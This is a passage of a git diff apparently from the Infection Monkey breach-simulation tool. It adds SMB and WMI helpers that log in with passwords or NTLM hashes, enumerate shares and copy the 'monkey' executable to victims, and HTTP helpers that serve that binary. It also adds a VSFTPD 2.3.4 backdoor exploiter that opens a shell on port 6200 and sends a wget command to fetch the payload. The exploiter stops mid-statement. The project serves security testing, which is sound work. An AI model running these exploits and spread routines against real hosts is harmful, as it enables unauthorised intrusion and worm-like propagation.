@staticmethod - def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60): - try: - smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445) - except Exception as exc: - LOG.debug("SMB connection to %r on port 445 failed," - " trying port 139 (%s)", host, exc) - - try: - smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139) - except Exception as exc: - LOG.debug("SMB connection to %r on port 139 failed as well (%s)", - host, exc) - return None, None - - dialect = {SMB_DIALECT: "SMBv1", - SMB2_DIALECT_002: "SMBv2.0", - SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0") - - # we know this should work because the WMI connection worked - try: - smb.login(username, password, '', lm_hash, ntlm_hash) - except Exception as exc: - LOG.debug("Error while logging into %r using user: %s, password: '%s', LM hash: %s, NTLM hash: %s: %s", - host, username, password, lm_hash, ntlm_hash, exc) - return None, dialect - - smb.setTimeout(timeout) - return smb, dialect - - @staticmethod - def execute_rpc_call(smb, rpc_func, *args): - dce = SmbTools.get_dce_bind(smb) - rpc_method_wrapper = getattr(srvs, rpc_func, None) - if not rpc_method_wrapper: - raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,)) - - return rpc_method_wrapper(dce, *args) - - @staticmethod - def get_dce_bind(smb): - rpctransport = transport.SMBTransport(smb.getRemoteHost(), - smb.getRemoteHost(), - filename=r'\srvsvc', - smb_connection=smb) - dce = rpctransport.get_dce_rpc() - dce.connect() - dce.bind(srvs.MSRPC_UUID_SRVS) - - return dce - - -class HTTPTools(object): - @staticmethod - def create_transfer(host, src_path, local_ip=None, local_port=None): - if not local_port: - local_port = get_free_tcp_port() - - if not local_ip: - local_ip = get_interface_to_target(host.ip_addr) - - if not firewall.listen_allowed(): - return None, None - - httpd = HTTPServer(local_ip, local_port, src_path) - httpd.daemon = True - httpd.start() - - return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd - - @staticmethod - def create_locked_transfer(host, src_path, local_ip=None, local_port=None): - """ - Create http server for file transfer with a lock - :param host: Variable with target's information - :param src_path: Monkey's path on current system - :param local_ip: IP where to host server - :param local_port: Port at which to host monkey's download - :return: Server address in http://%s:%s/%s format and LockedHTTPServer handler - """ - # To avoid race conditions we pass a locked lock to http servers thread - lock = Lock() - lock.acquire() - if not local_port: - local_port = get_free_tcp_port() - - if not local_ip: - local_ip = get_interface_to_target(host.ip_addr) - - if not firewall.listen_allowed(): - LOG.error("Firewall is not allowed to listen for incomming ports. Aborting") - return None, None - - httpd = LockedHTTPServer(local_ip, local_port, src_path, lock) - httpd.start() - lock.acquire() - return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd - - -def get_interface_to_target(dst): - if sys.platform == "win32": - s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - try: - s.connect((dst, 1)) - ip_to_dst = s.getsockname()[0] - except KeyError: - ip_to_dst = '127.0.0.1' - finally: - s.close() - return ip_to_dst - else: - # based on scapy implementation - - def atol(x): - ip = socket.inet_aton(x) - return struct.unpack("!I", ip)[0] - - routes = get_routes() - dst = atol(dst) - paths = [] - for d, m, gw, i, a in routes: - aa = atol(a) - if aa == dst: - paths.append((0xffffffff, ("lo", a, "0.0.0.0"))) - if (dst & m) == (d & m): - paths.append((m, (i, a, gw))) - if not paths: - return None - paths.sort() - ret = paths[-1][1] - return ret[1] - - -def get_target_monkey(host): - from infection_monkey.control import ControlClient - import platform - import sys - - if host.monkey_exe: - return host.monkey_exe - - if not host.os.get('type'): - return None - - monkey_path = ControlClient.download_monkey_exe(host) - - if host.os.get('machine') and monkey_path: - host.monkey_exe = monkey_path - - if not monkey_path: - if host.os.get('type') == platform.system().lower(): - # if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe - if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \ - host.os.get('machine', '').lower() == platform.machine().lower(): - monkey_path = sys.executable - - return monkey_path - - -def get_target_monkey_by_os(is_windows, is_32bit): - from infection_monkey.control import ControlClient - return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit) - - -def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None): - cmdline = "" - - if parent is not None: - cmdline += " -p " + parent - if tunnel is not None: - cmdline += " -t " + tunnel - if server is not None: - cmdline += " -s " + server - if depth is not None: - if depth < 0: - depth = 0 - cmdline += " -d %d" % depth - if location is not None: - cmdline += " -l %s" % location - - return cmdline - - -def build_monkey_commandline(target_host, depth, location=None): - from infection_monkey.config import GUID - return build_monkey_commandline_explicitly( - GUID, target_host.default_tunnel, target_host.default_server, depth, location) - - -def get_monkey_depth(): - from infection_monkey.config import WormConfiguration - return WormConfiguration.depth - - -def get_monkey_dest_path(url_to_monkey): - """ - Gets destination path from monkey's source url. - :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe - :return: Corresponding monkey path from configuration - """ - from infection_monkey.config import WormConfiguration - if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey): - LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey) - return False - try: - if 'linux' in url_to_monkey: - return WormConfiguration.dropper_target_path_linux - elif 'windows-32' in url_to_monkey: - return WormConfiguration.dropper_target_path_win_32 - elif 'windows-64' in url_to_monkey: - return WormConfiguration.dropper_target_path_win_64 - else: - LOG.error("Could not figure out what type of monkey server was trying to upload, " - "thus destination path can not be chosen.") - return False - except AttributeError: - LOG.error("Seems like monkey's source configuration property names changed. " - "Can not get destination path to upload monkey") - return False diff --git a/monkey/infection_monkey/exploit/tools/__init__.py b/monkey/infection_monkey/exploit/tools/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/infection_monkey/exploit/tools/exceptions.py b/monkey/infection_monkey/exploit/tools/exceptions.py new file mode 100644 index 000000000..eabe8d9d7 --- /dev/null +++ b/monkey/infection_monkey/exploit/tools/exceptions.py @@ -0,0 +1,5 @@ + + +class ExploitingVulnerableMachineError(Exception): + """ Raise when exploiter failed, but machine is vulnerable""" + pass diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py new file mode 100644 index 000000000..91a25c270 --- /dev/null +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -0,0 +1,142 @@ +import logging +import socket +import struct +import sys + +from infection_monkey.network.info import get_routes + +LOG = logging.getLogger(__name__) + + +def get_interface_to_target(dst): + """ + :param dst: destination IP address string without port. E.G. '192.168.1.1.' + :return: IP address string of an interface that can connect to the target. E.G. '192.168.1.4.' + """ + if sys.platform == "win32": + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + try: + s.connect((dst, 1)) + ip_to_dst = s.getsockname()[0] + except KeyError: + LOG.debug("Couldn't get an interface to the target, presuming that target is localhost.") + ip_to_dst = '127.0.0.1' + finally: + s.close() + return ip_to_dst + else: + # based on scapy implementation + + def atol(x): + ip = socket.inet_aton(x) + return struct.unpack("!I", ip)[0] + + routes = get_routes() + dst = atol(dst) + paths = [] + for d, m, gw, i, a in routes: + aa = atol(a) + if aa == dst: + paths.append((0xffffffff, ("lo", a, "0.0.0.0"))) + if (dst & m) == (d & m): + paths.append((m, (i, a, gw))) + if not paths: + return None + paths.sort() + ret = paths[-1][1] + return ret[1] + + +def try_get_target_monkey(host): + src_path = get_target_monkey(host) + if not src_path: + raise Exception("Can't find suitable monkey executable for host %r", host) + return src_path + + +def get_target_monkey(host): + from infection_monkey.control import ControlClient + import platform + import sys + + if host.monkey_exe: + return host.monkey_exe + + if not host.os.get('type'): + return None + + monkey_path = ControlClient.download_monkey_exe(host) + + if host.os.get('machine') and monkey_path: + host.monkey_exe = monkey_path + + if not monkey_path: + if host.os.get('type') == platform.system().lower(): + # if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe + if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \ + host.os.get('machine', '').lower() == platform.machine().lower(): + monkey_path = sys.executable + + return monkey_path + + +def get_target_monkey_by_os(is_windows, is_32bit): + from infection_monkey.control import ControlClient + return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit) + + +def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None): + cmdline = "" + + if parent is not None: + cmdline += " -p " + parent + if tunnel is not None: + cmdline += " -t " + tunnel + if server is not None: + cmdline += " -s " + server + if depth is not None: + if depth < 0: + depth = 0 + cmdline += " -d %d" % depth + if location is not None: + cmdline += " -l %s" % location + + return cmdline + + +def build_monkey_commandline(target_host, depth, location=None): + from infection_monkey.config import GUID + return build_monkey_commandline_explicitly( + GUID, target_host.default_tunnel, target_host.default_server, depth, location) + + +def get_monkey_depth(): + from infection_monkey.config import WormConfiguration + return WormConfiguration.depth + + +def get_monkey_dest_path(url_to_monkey): + """ + Gets destination path from monkey's source url. + :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe + :return: Corresponding monkey path from configuration + """ + from infection_monkey.config import WormConfiguration + if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey): + LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey) + return False + try: + if 'linux' in url_to_monkey: + return WormConfiguration.dropper_target_path_linux + elif 'windows-32' in url_to_monkey: + return WormConfiguration.dropper_target_path_win_32 + elif 'windows-64' in url_to_monkey: + return WormConfiguration.dropper_target_path_win_64 + else: + LOG.error("Could not figure out what type of monkey server was trying to upload, " + "thus destination path can not be chosen.") + return False + except AttributeError: + LOG.error("Seems like monkey's source configuration property names changed. " + "Can not get destination path to upload monkey") + return False diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py new file mode 100644 index 000000000..19b45b043 --- /dev/null +++ b/monkey/infection_monkey/exploit/tools/http_tools.py @@ -0,0 +1,90 @@ +import logging +import os +import os.path +import urllib +from threading import Lock + +from infection_monkey.network.firewall import app as firewall +from infection_monkey.network.info import get_free_tcp_port +from infection_monkey.transport import HTTPServer, LockedHTTPServer +from infection_monkey.exploit.tools.helpers import try_get_target_monkey, get_interface_to_target +from infection_monkey.model import DOWNLOAD_TIMEOUT + +__author__ = 'itamar' + +LOG = logging.getLogger(__name__) + + +class HTTPTools(object): + + @staticmethod + def create_transfer(host, src_path, local_ip=None, local_port=None): + if not local_port: + local_port = get_free_tcp_port() + + if not local_ip: + local_ip = get_interface_to_target(host.ip_addr) + + if not firewall.listen_allowed(): + return None, None + + httpd = HTTPServer(local_ip, local_port, src_path) + httpd.daemon = True + httpd.start() + + return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd + + @staticmethod + def try_create_locked_transfer(host, src_path, local_ip=None, local_port=None): + http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path, local_ip, local_port) + if not http_path: + raise Exception("Http transfer creation failed.") + LOG.info("Started http server on %s", http_path) + return http_path, http_thread + + @staticmethod + def create_locked_transfer(host, src_path, local_ip=None, local_port=None): + """ + Create http server for file transfer with a lock + :param host: Variable with target's information + :param src_path: Monkey's path on current system + :param local_ip: IP where to host server + :param local_port: Port at which to host monkey's download + :return: Server address in http://%s:%s/%s format and LockedHTTPServer handler + """ + # To avoid race conditions we pass a locked lock to http servers thread + lock = Lock() + lock.acquire() + if not local_port: + local_port = get_free_tcp_port() + + if not local_ip: + local_ip = get_interface_to_target(host.ip_addr) + + if not firewall.listen_allowed(): + LOG.error("Firewall is not allowed to listen for incomming ports. Aborting") + return None, None + + httpd = LockedHTTPServer(local_ip, local_port, src_path, lock) + httpd.start() + lock.acquire() + return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd + + +class MonkeyHTTPServer(HTTPTools): + def __init__(self, host): + super(MonkeyHTTPServer, self).__init__() + self.http_path = None + self.http_thread = None + self.host = host + + def start(self): + # Get monkey exe for host and it's path + src_path = try_get_target_monkey(self.host) + self.http_path, self.http_thread = MonkeyHTTPServer.try_create_locked_transfer(self.host, src_path) + + def stop(self): + if not self.http_path or not self.http_thread: + raise RuntimeError("Can't stop http server that wasn't started!") + self.http_thread.join(DOWNLOAD_TIMEOUT) + self.http_thread.stop() diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing.py b/monkey/infection_monkey/exploit/tools/payload_parsing.py new file mode 100644 index 000000000..31632b045 --- /dev/null +++ b/monkey/infection_monkey/exploit/tools/payload_parsing.py @@ -0,0 +1,63 @@ +import logging +import textwrap + +LOG = logging.getLogger(__name__) + + +class Payload(object): + """ + Class for defining and parsing a payload (commands with prefixes/suffixes) + """ + + def __init__(self, command, prefix="", suffix=""): + self.command = command + self.prefix = prefix + self.suffix = suffix + + def get_payload(self, command=""): + """ + Returns prefixed and suffixed command (payload) + :param command: Command to suffix/prefix. If no command is passed than objects' property is used + :return: prefixed and suffixed command (full payload) + """ + if not command: + command = self.command + return "{}{}{}".format(self.prefix, command, self.suffix) + + +class LimitedSizePayload(Payload): + """ + Class for defining and parsing commands/payloads + """ + + def __init__(self, command, max_length, prefix="", suffix=""): + """ + :param command: command + :param max_length: max length that payload(prefix + command + suffix) can have + :param prefix: commands prefix + :param suffix: commands suffix + """ + super(LimitedSizePayload, self).__init__(command, prefix, suffix) + self.max_length = max_length + + def is_suffix_and_prefix_too_long(self): + return self.payload_is_too_long(self.suffix + self.prefix) + + def split_into_array_of_smaller_payloads(self): + if self.is_suffix_and_prefix_too_long(): + raise Exception("Can't split command into smaller sub-commands because commands' prefix and suffix already " + "exceeds required length of command.") + + elif self.command == "": + return [self.prefix+self.suffix] + wrapper = textwrap.TextWrapper(drop_whitespace=False, width=self.get_max_sub_payload_length()) + commands = [self.get_payload(part) + for part + in wrapper.wrap(self.command)] + return commands + + def get_max_sub_payload_length(self): + return self.max_length - len(self.prefix) - len(self.suffix) + + def payload_is_too_long(self, command): + return len(command) >= self.max_length diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing_test.py b/monkey/infection_monkey/exploit/tools/payload_parsing_test.py new file mode 100644 index 000000000..af682dbff --- /dev/null +++ b/monkey/infection_monkey/exploit/tools/payload_parsing_test.py @@ -0,0 +1,32 @@ +from unittest import TestCase +from payload_parsing import Payload, LimitedSizePayload + + +class TestPayload(TestCase): + def test_get_payload(self): + test_str1 = "abc" + test_str2 = "atc" + payload = Payload(command="b", prefix="a", suffix="c") + assert payload.get_payload() == test_str1 and payload.get_payload("t") == test_str2 + + def test_is_suffix_and_prefix_too_long(self): + pld_fail = LimitedSizePayload("b", 2, "a", "c") + pld_success = LimitedSizePayload("b", 3, "a", "c") + assert pld_fail.is_suffix_and_prefix_too_long() and not pld_success.is_suffix_and_prefix_too_long() + + def test_split_into_array_of_smaller_payloads(self): + test_str1 = "123456789" + pld1 = LimitedSizePayload(test_str1, max_length=16, prefix="prefix", suffix="suffix") + array1 = pld1.split_into_array_of_smaller_payloads() + test1 = bool(array1[0] == "prefix1234suffix" and + array1[1] == "prefix5678suffix" and + array1[2] == "prefix9suffix") + + test_str2 = "12345678" + pld2 = LimitedSizePayload(test_str2, max_length=16, prefix="prefix", suffix="suffix") + array2 = pld2.split_into_array_of_smaller_payloads() + test2 = bool(array2[0] == "prefix1234suffix" and + array2[1] == "prefix5678suffix" and len(array2) == 2) + + assert test1 and test2 + diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py new file mode 100644 index 000000000..51564518e --- /dev/null +++ b/monkey/infection_monkey/exploit/tools/smb_tools.py @@ -0,0 +1,238 @@ +import logging +import ntpath +import pprint + +from impacket.dcerpc.v5 import transport, srvs +from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21 +from impacket.smbconnection import SMBConnection, SMB_DIALECT + +import infection_monkey.config +import infection_monkey.monkeyfs as monkeyfs +from common.utils.attack_utils import ScanStatus +from infection_monkey.telemetry.attack.t1105_telem import T1105Telem +from infection_monkey.exploit.tools.helpers import get_interface_to_target +from infection_monkey.config import Configuration +__author__ = 'itamar' + +LOG = logging.getLogger(__name__) + + +class SmbTools(object): + + @staticmethod + def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60): + assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,) + config = infection_monkey.config.WormConfiguration + src_file_size = monkeyfs.getsize(src_path) + + smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout) + if not smb: + return None + + # skip guest users + if smb.isGuestSession() > 0: + LOG.debug("Connection to %r granted guest privileges with user: %s, password (SHA-512): '%s'," + " LM hash (SHA-512): %s, NTLM hash (SHA-512): %s", + host, + username, + Configuration.hash_sensitive_data(password), + Configuration.hash_sensitive_data(lm_hash), + Configuration.hash_sensitive_data(ntlm_hash)) + + try: + smb.logoff() + except: + pass + + return None + + try: + resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102) + except Exception as exc: + LOG.debug("Error requesting server info from %r over SMB: %s", + host, exc) + return None + + info = {'major_version': resp['InfoStruct']['ServerInfo102']['sv102_version_major'], + 'minor_version': resp['InfoStruct']['ServerInfo102']['sv102_version_minor'], + 'server_name': resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "), + 'server_comment': resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "), + 'server_user_path': resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "), + 'simultaneous_users': resp['InfoStruct']['ServerInfo102']['sv102_users']} + + LOG.debug("Connected to %r using %s:\n%s", + host, dialect, pprint.pformat(info)) + + try: + resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2) + except Exception as exc: + LOG.debug("Error enumerating server shares from %r over SMB: %s", + host, exc) + return None + + resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer'] + + high_priority_shares = () + low_priority_shares = () + file_name = ntpath.split(dst_path)[-1] + + for i in range(len(resp)): + share_name = resp[i]['shi2_netname'].strip("\0 ") + share_path = resp[i]['shi2_path'].strip("\0 ") + current_uses = resp[i]['shi2_current_uses'] + max_uses = resp[i]['shi2_max_uses'] + + if current_uses >= max_uses: + LOG.debug("Skipping share '%s' on victim %r because max uses is exceeded", + share_name, host) + continue + elif not share_path: + LOG.debug("Skipping share '%s' on victim %r because share path is invalid", + share_name, host) + continue + + share_info = {'share_name': share_name, + 'share_path': share_path} + + if dst_path.lower().startswith(share_path.lower()): + high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),) + + low_priority_shares += ((ntpath.sep + file_name, share_info),) + + shares = high_priority_shares + low_priority_shares + + file_uploaded = False + for remote_path, share in shares: + share_name = share['share_name'] + share_path = share['share_path'] + + if not smb: + smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout) + if not smb: + return None + + try: + tid = smb.connectTree(share_name) + except Exception as exc: + LOG.debug("Error connecting tree to share '%s' on victim %r: %s", + share_name, host, exc) + continue + + LOG.debug("Trying to copy monkey file to share '%s' [%s + %s] on victim %r", + share_name, share_path, remote_path, host.ip_addr[0], ) + + remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep)) + + # check if file is found on destination + if config.skip_exploit_if_file_exist: + try: + file_info = smb.listPath(share_name, remote_path) + if file_info: + if src_file_size == file_info[0].get_filesize(): + LOG.debug("Remote monkey file is same as source, skipping copy") + return remote_full_path + + LOG.debug("Remote monkey file is found but different, moving along with attack") + except: + pass # file isn't found on remote victim, moving on + + try: + with monkeyfs.open(src_path, 'rb') as source_file: + # make sure of the timeout + smb.setTimeout(timeout) + smb.putFile(share_name, remote_path, source_file.read) + + file_uploaded = True + T1105Telem(ScanStatus.USED, + get_interface_to_target(host.ip_addr), + host.ip_addr, + dst_path).send() + LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r", + src_path, share_name, share_path, host) + + break + except Exception as exc: + LOG.debug("Error uploading monkey to share '%s' on victim %r: %s", + share_name, host, exc) + T1105Telem(ScanStatus.SCANNED, + get_interface_to_target(host.ip_addr), + host.ip_addr, + dst_path).send() + continue + finally: + try: + smb.logoff() + except: + pass + + smb = None + + if not file_uploaded: + LOG.debug("Couldn't find a writable share for exploiting victim %r with " + "username: %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash (SHA-512): %s", + host, + username, + Configuration.hash_sensitive_data(password), + Configuration.hash_sensitive_data(lm_hash), + Configuration.hash_sensitive_data(ntlm_hash)) + return None + + return remote_full_path + + @staticmethod + def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60): + try: + smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445) + except Exception as exc: + LOG.debug("SMB connection to %r on port 445 failed," + " trying port 139 (%s)", host, exc) + + try: + smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139) + except Exception as exc: + LOG.debug("SMB connection to %r on port 139 failed as well (%s)", + host, exc) + return None, None + + dialect = {SMB_DIALECT: "SMBv1", + SMB2_DIALECT_002: "SMBv2.0", + SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0") + + # we know this should work because the WMI connection worked + try: + smb.login(username, password, '', lm_hash, ntlm_hash) + except Exception as exc: + LOG.debug( + "Error while logging into %r using user: %s, password (SHA-512): '%s', " + "LM hash (SHA-512): %s, NTLM hash (SHA-512): %s: %s", + host, + username, + Configuration.hash_sensitive_data(password), + Configuration.hash_sensitive_data(lm_hash), + Configuration.hash_sensitive_data(ntlm_hash), + exc) + return None, dialect + + smb.setTimeout(timeout) + return smb, dialect + + @staticmethod + def execute_rpc_call(smb, rpc_func, *args): + dce = SmbTools.get_dce_bind(smb) + rpc_method_wrapper = getattr(srvs, rpc_func, None) + if not rpc_method_wrapper: + raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,)) + + return rpc_method_wrapper(dce, *args) + + @staticmethod + def get_dce_bind(smb): + rpctransport = transport.SMBTransport(smb.getRemoteHost(), + smb.getRemoteHost(), + filename=r'\srvsvc', + smb_connection=smb) + dce = rpctransport.get_dce_rpc() + dce.connect() + dce.bind(srvs.MSRPC_UUID_SRVS) + + return dce diff --git a/monkey/infection_monkey/exploit/tools/wmi_tools.py b/monkey/infection_monkey/exploit/tools/wmi_tools.py new file mode 100644 index 000000000..abbb9f936 --- /dev/null +++ b/monkey/infection_monkey/exploit/tools/wmi_tools.py @@ -0,0 +1,150 @@ +import logging + +from impacket.dcerpc.v5.dcom import wmi +from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError +from impacket.dcerpc.v5.dcomrt import DCOMConnection +from impacket.dcerpc.v5.dtypes import NULL + +__author__ = 'itamar' + +LOG = logging.getLogger(__name__) + + +class DceRpcException(Exception): + pass + + +class AccessDeniedException(Exception): + def __init__(self, host, username, password, domain): + super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" % + (host, domain, username, password)) + + +class WmiTools(object): + class WmiConnection(object): + def __init__(self): + self._dcom = None + self._iWbemServices = None + + @property + def connected(self): + return self._dcom is not None + + def connect(self, host, username, password, domain=None, lmhash="", nthash=""): + if not domain: + domain = host.ip_addr + + dcom = DCOMConnection(host.ip_addr, + username=username, + password=password, + domain=domain, + lmhash=lmhash, + nthash=nthash, + oxidResolver=True) + + try: + iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, + wmi.IID_IWbemLevel1Login) + except Exception as exc: + dcom.disconnect() + + if "rpc_s_access_denied" == exc.message: + raise AccessDeniedException(host, username, password, domain) + + raise + + iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) + + try: + self._iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) + self._dcom = dcom + except: + dcom.disconnect() + + raise + finally: + iWbemLevel1Login.RemRelease() + + def close(self): + assert self.connected, "WmiConnection isn't connected" + + self._iWbemServices.RemRelease() + self._iWbemServices = None + + self._dcom.disconnect() + self._dcom = None + + @staticmethod + def dcom_wrap(func): + def _wrapper(*args, **kwarg): + try: + return func(*args, **kwarg) + finally: + WmiTools.dcom_cleanup() + + return _wrapper + + @staticmethod + def dcom_cleanup(): + for port_map in DCOMConnection.PORTMAPS.keys(): + del DCOMConnection.PORTMAPS[port_map] + for oid_set in DCOMConnection.OID_SET.keys(): + del DCOMConnection.OID_SET[port_map] + + DCOMConnection.OID_SET = {} + DCOMConnection.PORTMAPS = {} + if DCOMConnection.PINGTIMER: + DCOMConnection.PINGTIMER.cancel() + DCOMConnection.PINGTIMER.join() + DCOMConnection.PINGTIMER = None + + @staticmethod + def get_object(wmi_connection, object_name): + assert isinstance(wmi_connection, WmiTools.WmiConnection) + assert wmi_connection.connected, "WmiConnection isn't connected" + + return wmi_connection._iWbemServices.GetObject(object_name)[0] + + @staticmethod + def list_object(wmi_connection, object_name, fields=None, where=None): + assert isinstance(wmi_connection, WmiTools.WmiConnection) + assert wmi_connection.connected, "WmiConnection isn't connected" + + if fields: + fields_query = ",".join(fields) + else: + fields_query = "*" + + wql_query = "SELECT %s FROM %s" % (fields_query, object_name) + + if where: + wql_query += " WHERE %s" % (where,) + + LOG.debug("Execution WQL query: %r", wql_query) + + iEnumWbemClassObject = wmi_connection._iWbemServices.ExecQuery(wql_query) + + query = [] + try: + while True: + try: + next_item = iEnumWbemClassObject.Next(0xffffffff, 1)[0] + record = next_item.getProperties() + + if not fields: + fields = record.keys() + + query_record = {} + for key in fields: + query_record[key] = record[key]['value'] + + query.append(query_record) + except DCERPCSessionError as exc: + if 1 == exc.error_code: + break + + raise + finally: + iEnumWbemClassObject.RemRelease() + + return query diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py new file mode 100644 index 000000000..744853bdf --- /dev/null +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -0,0 +1,149 @@ +""" + Implementation is based on VSFTPD v2.3.4 Backdoor Command Execution exploit by metasploit + https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb + only vulnerable version is "2.3.4" +""" + +import socket +import time + +from common.utils.attack_utils import ScanStatus +from infection_monkey.exploit import HostExploiter +from infection_monkey.exploit.tools.helpers import get_target_monkey, build_monkey_commandline, get_monkey_depth +from infection_monkey.exploit.tools.http_tools import HTTPTools +from infection_monkey.model import MONKEY_ARG, CHMOD_MONKEY, RUN_MONKEY, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT +from logging import getLogger + +from infection_monkey.telemetry.attack.t1222_telem import T1222Telem + +LOG = getLogger(__name__) + +__author__ = 'D3fa1t' + +FTP_PORT = 21 # port at which vsftpd runs +BACKDOOR_PORT = 6200 # backdoor port +RECV_128 = 128 # In Bytes +UNAME_M = "uname -m" +ULIMIT_V = "ulimit -v " # To increase the memory limit +UNLIMITED = "unlimited;" +USERNAME = b'USER D3fa1t:)' # Ftp Username should end with :) to trigger the backdoor +PASSWORD = b'PASS please' # Ftp Password +FTP_TIME_BUFFER = 1 # In seconds + + +class VSFTPDExploiter(HostExploiter): + _TARGET_OS_TYPE = ['linux'] + _EXPLOITED_SERVICE = 'VSFTPD' + + def __init__(self, host): + self._update_timestamp = 0 + super(VSFTPDExploiter, self).__init__(host) + self.skip_exist = self._config.skip_exploit_if_file_exist + + def socket_connect(self, s, ip_addr, port): + try: + s.connect((ip_addr, port)) + return True + except socket.error as e: + LOG.error('Failed to connect to %s', self.host.ip_addr) + return False + + def socket_send_recv(self, s, message): + try: + s.send(message) + return s.recv(RECV_128).decode('utf-8') + except socket.error as e: + LOG.error('Failed to send payload to %s', self.host.ip_addr) + return False + + def socket_send(self, s, message): + try: + s.send(message) + return True + except socket.error as e: + LOG.error('Failed to send payload to %s', self.host.ip_addr) + return False + + def _exploit_host(self): + LOG.info("Attempting to trigger the Backdoor..") + ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT): + ftp_socket.recv(RECV_128).decode('utf-8') + + if self.socket_send_recv(ftp_socket, USERNAME + '\n'): + time.sleep(FTP_TIME_BUFFER) + self.socket_send(ftp_socket, PASSWORD + '\n') + ftp_socket.close() + LOG.info('Backdoor Enabled, Now we can run commands') + else: + LOG.error('Failed to trigger backdoor on %s', self.host.ip_addr) + return False + + LOG.info('Attempting to connect to backdoor...') + backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + if self.socket_connect(backdoor_socket, self.host.ip_addr, BACKDOOR_PORT): + LOG.info('Connected to backdoor on %s:6200', self.host.ip_addr) + + uname_m = str.encode(UNAME_M + '\n') + response = self.socket_send_recv(backdoor_socket, uname_m) + + if response: + LOG.info('Response for uname -m: %s', response) + if '' != response.lower().strip(): + # command execution is successful + self.host.os['machine'] = response.lower().strip() + self.host.os['type'] = 'linux' + else: + LOG.info("Failed to execute command uname -m on victim %r ", self.host) + + src_path = get_target_monkey(self.host) + LOG.info("src for suitable monkey executable for host %r is %s", self.host, src_path) + + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", self.host) + return False + + # Create a http server to host the monkey + http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path) + dropper_target_path_linux = self._config.dropper_target_path_linux + LOG.info("Download link for monkey is %s", http_path) + + # Upload the monkey to the machine + monkey_path = dropper_target_path_linux + download_command = WGET_HTTP_UPLOAD % {'monkey_path': monkey_path, 'http_path': http_path} + download_command = str.encode(str(download_command) + '\n') + LOG.info("Download command is %s", download_command) + if self.socket_send(backdoor_socket, download_command): + LOG.info('Monkey is now Downloaded ') + else: + LOG.error('Failed to download monkey at %s', self.host.ip_addr) + return False + + http_thread.join(DOWNLOAD_TIMEOUT) + http_thread.stop() + + # Change permissions + change_permission = 